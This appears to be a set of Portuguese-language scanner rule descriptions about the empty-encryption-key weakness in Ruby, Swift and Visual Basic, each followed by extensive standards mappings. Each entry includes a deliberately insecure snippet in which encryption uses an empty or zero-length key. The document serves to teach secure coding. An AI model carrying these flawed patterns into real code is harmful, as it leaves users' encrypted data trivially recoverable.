[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia. Usar uma chave de criptografia vazia não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: Este código usa uma função de derivação de chaves baseada em senha com um comprimento de chave de zero, o que produz uma chave criptográfica vazia:


require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após a distribuição do programa, é necessário um patch de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia. Usar uma chave de criptografia vazia não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir realiza a criptografia AES usando uma chave de criptografia vazia:


...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após a distribuição do programa, é necessário um patch de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir realiza a criptografia AES usando uma chave de criptografia vazia:


...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Depois que o programa for distribuído, é necessário um pacote de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
